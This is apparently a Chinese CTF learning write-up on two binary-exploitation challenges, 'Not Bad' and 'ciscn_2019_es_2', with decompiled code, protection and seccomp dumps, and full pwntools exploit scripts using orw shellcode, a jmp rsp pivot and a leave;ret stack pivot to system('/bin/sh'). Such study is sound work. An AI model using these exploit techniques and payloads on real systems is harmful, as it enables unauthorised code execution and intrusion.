1.[极客大挑战 2019]Not Bad

分析反编译代码及保护

​ Ubuntu 18 2.23libc也就是说理论上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400949();
sub_400906();
sub_400A16();
return 0LL;
}

int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Easy shellcode, have fun!");
read(0, buf, 0x38uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

​ void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset); 开始分配了一段空间,不知道干啥用的

​ 然后安装了seccomp,设置io流,读入0x38 = 56字节, 减去32 减去8rbp, 16个字节的溢出

1
2
3
4
5
6
7
8
9
root@VM-24-10-ubuntu:/home/ubuntu/stackpivot/jikenotbad# checksec bad
[*] '/home/ubuntu/stackpivot/jikenotbad/bad'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x3ff000)
RWX: Has RWX segments
RUNPATH: b'/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/'

​ 可以写shellcode, orw读取flag, 写的话,直接是写入到了一开始mmap的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@VM-24-10-ubuntu:/home/ubuntu/stackpivot/jikenotbad# seccomp-tools dump ./bad
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

思路

​ 需要分两次利用,因为无法直接把payload写入0x123000,所以先构造一个读取的payload,读入第二阶段payload后,再跳转过去

​ 1.先利用第一次read读取第一阶段shellcode并跳转到这里进行执行,这串shellcode是读取第二阶段orw的shellcode到0x123000并跳转到那里

​ 具体而言,第一阶段payload = asm(read_shellcode).ljust(32,b”\x00”) + p64(0) +p64(jmp_rsp)+asm(‘sub rsp,0x30;jmp rsp’)

​ jmp rsp相当于没干什么,只是跳到了下一条指令,但是如果没有这条指令,直接上汇编的话,识别不了,这里相当于给了一条指令的地址pop 出来的是指令的地址,jmp 过去的是可以直接执行的?

​ ret的话,是pop rip,在返回地址处放上一条指令的地址才对,所以这里放了jmp_rsp,pop rip后rsp指向了 asm(‘sub rsp,0x30;jmp rsp’),jmp到这里才可以把这里的数据当成指令,然后正好可以继续执行指令

​ 大概..需要补汇编基础了…

image-20230410140744974

​ 2. 第一阶段的payload是读取第二阶段payload(orw)到0x123000,然后跳转过去

栈迁移

1
2
3
4
5
6
7
8
9
10
root@VM-24-10-ubuntu:/home/ubuntu/stackpivot/jikenotbad# ROPgadget --binary bad  --only 'jmp'
Gadgets information
============================================================
0x000000000040078b : jmp 0x400770
0x00000000004008eb : jmp 0x400880
0x0000000000400b03 : jmp 0x400b7a
0x0000000000400b87 : jmp qword ptr [rax - 0x68000000]
0x0000000000400ceb : jmp qword ptr [rbp]
0x0000000000400865 : jmp rax
0x0000000000400a01 : jmp rsp

​ 这里用到了jmp 这个转移的办法

exp

exp一定要加上架构,不然报错,因为要进行汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
import time

#sh = remote("xxx",xxx)
sh = remote("node4.buuoj.cn",29945)
#sh = process("./bad")
context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b *0x000400A3E")
context.arch= 'x86_64'

vulnaddr = 0x0400A1E

bssaddr = 0x006010Aa

# mov rdi,buxingma3
orw_shellcode = '''
mov rax,0x67616c662f
push rax
mov rdi,rsp
xor rsi,rsi
mov rax,0x2
syscall

mov rdi,rax
mov rsi,0x6010aa
mov rdx,0x100
xor rax,rax
syscall

mov rdi,1
mov rsi,0x6010aa
mov rdx,0x100
mov rax,1
syscall
hlt

'''

read_shellcode = '''
mov rdi,0
mov rsi,0x123000
mov rdx,0x1000
xor rax,rax
syscall
jmp rsi
'''

jmp_rsp = 0x00000400a01

# 这几个payload都可以,本质都一样
payload = asm(read_shellcode).ljust(32,b"\x00") + p64(0) + p64(jmp_rsp) + b'\xE8\xcb\xff\xff\xff'
#payload = asm(read_shellcode).ljust(32,b"\x00") + p64(0) + p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
#payload = asm(read_shellcode).ljust(32,b"\x00") + p64(0) + p64(jmp_rsp) + b'\xE8\xcb\xff\xff\xff'

#sh.send(payload)
#sh.send(asm(orw_shellcode))
sh.sendafter(b'Easy shellcode, have fun!',payload)
#gdb.attach(sh)
sh.sendafter(b'Baddd! Focu5 me! Baddd! Baddd!',asm(orw_shellcode))
sh.recv(1024)

sh.interactive()

知识点总结

orw的shellcode编写

栈迁移 jmp rsp 、及jmp 转移指令的含义

#payload = asm(read_shellcode).ljust(32,b”\x00”) + p64(0) + p64(jmp_rsp)+asm(‘sub rsp,0x30;jmp rsp’)

近转移call的含义

payload = asm(read_shellcode).ljust(32,b”\x00”) + p64(0) + p64(jmp_rsp) + b’\xE8\xcb\xff\xff\xff’

​ e8是 call的操作码 #call 硬编码E8,后面加上四个字节的偏移(目标指令 - 下一条指令地址)

hex(0xffffffcb - 0xffffffff) = - 0x34

那7f不会影响它吗?

image-20230410142020849 image-20230410143448769

疑问

下断点断不下来,直接跳到后面read之后了

近转移call的含义

参考

https://blog.csdn.net/qq_34010404/article/details/123809796

https://blog.csdn.net/mcmuyanga/article/details/113389703

3.ciscn_2019_es_2

Ubuntu 18 2.27 32位

分析反编译代码及保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[*] '/home/ubuntu/stackpivot/ciscn_2019_es_2/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)
RUNPATH: b'/home/ubuntu/glibc-all-in-one/libs/2.27-3ubuntu1.6_i386/'

int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}

int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\\n", &s);
}

​ 能看到存在明显的栈溢出,而且是两次,但是溢出的字节有限,只能覆盖个ebp和返回地址,栈的大小是0x28, 后面4字节ebp,4字节返回地址, 正好0x30,也就是读取输入的大小

​ 利用00截断的bug,可以让printf一直输出,memset设置了0x20个0,给覆盖掉即可,这样的话,第一次输出就可以得到栈的地址,然后通过覆盖返回地址为leave;ret;(加上函数本身就有一次leave;ret;), 两次leave;ret;就把esp迁移到栈的缓冲区上,就可以执行第二次输入的payload了

找缓冲区位置

​ pwndbg> ni Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccc

​ 输出的话,会从ecx(缓冲区开始的地方),一直往下输出,

image-20230410115230094

​ 所以0x28之后的就是ebp了,ebp和ecx的差了0x28个字节,所以ebp-0x28就是ecx

这种思路不对, 因为输出的是ebp这个地址存的值,而不是ebp本身的值,这个值,是ebp的地址加0x10

​ 所以ecx的地址应当是接收到的ebp存储的值-0x28-0x10 所以就是ebp-0x38

栈迁移

​ 可以把ebp伪造成ecx的地址, 然后返回地址leave;ret; (再加上本身函数就有一个leave;ret;) 这样两次就可以修改esp,改变程序控制流, 回去打system(”/bin/sh”)

system getshell

​ system的话 用plt表的0x804A018 ,got表不行吗?

​ plt的顺序到底是啥…先plt还是先got, 还是说因为plt就是跳到got,所以直接引用got也可以

​ p32(system_addr) + p32(0) + p32(”/bin/sh”) 这个是错误的,为什么呢??? 为什么直接用值不行呢??

image-20230410123536836

​ 应该是payload = p32(callsystem)+p32(0)+p32(ecx_addr+12)+b”/bin/sh”

​ 直接binsh字符串是不行的,需要一个指向这个字符串的地址,所以用的这个,记得后面要加\x00作为结束符号

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *


#sh = remote("node4.buuoj.cn",29945)
sh = process("./ciscn_2019_es_2")
context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b _start")
#context.arch= 'x86_64'



payload = b"a"*0x20 + b"b"*8
sh.sendafter(b'name?',payload)
sh.recvuntil(b"bbbbbbbb")
ecx_addr = u32(sh.recv(4)) - 0x38

callsystem = 0x8048400
leave_ret = 0x080484b8
payload = p32(callsystem) + p32(0) + p32(ecx_addr+12)+b"/bin/sh\x00"
#payload = p32(callsystem) + p32(leave_ret) + b"/bin/sh\x00"
payload = payload.ljust(0x28,b"a")
payload += p32(ecx_addr-4)+p32(leave_ret)
sh.send(payload)
sh.interactive()

做题思路及知识点

1.可以明确这题本身不能往bss写的,没有途径,只能往栈上写

2.本身栈里存的是0? 怎么知道 memset那里设置了

3.read结束之后不会在末尾加上’\x00’,而printf不遇到’\x00’就不会停止打印, 这个知识点怎么来的呢???? 前面的memset提示?? 或许可以是一个知识储备,这个好像是一个常用的点

4.假的后门函数,这个是echo 字符串flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:0804854B hack            proc near
.text:0804854B ; __unwind {
.text:0804854B push ebp
.text:0804854C mov ebp, esp
.text:0804854E sub esp, 8
.text:08048551 sub esp, 0Ch
.text:08048554 push offset command ; "echo flag"
.text:08048559 call _system
.text:0804855E add esp, 10h
.text:08048561 nop
.text:08048562 leave
.text:08048563 retn
.text:08048563 ; } // starts at 804854B
.text:08048563 hack endp

计算机基础不是很牢固…所以有些细节理解不到..

留下的疑问

​ system的话 用plt表的0x804A018 ,got表不行吗?

​ plt的顺序到底是啥…先plt还是先got, 还是说因为plt就是跳到got,所以直接引用got也可以

参考

https://blog.csdn.net/qq_34010404/article/details/123809796

https://blog.csdn.net/mcmuyanga/article/details/113389703

https://blog.csdn.net/qq_45691294/article/details/112196127

https://blog.csdn.net/qq_41696518/article/details/126665825

https://blog.csdn.net/qq_41202237/article/details/105913597

https://xz.aliyun.com/t/12189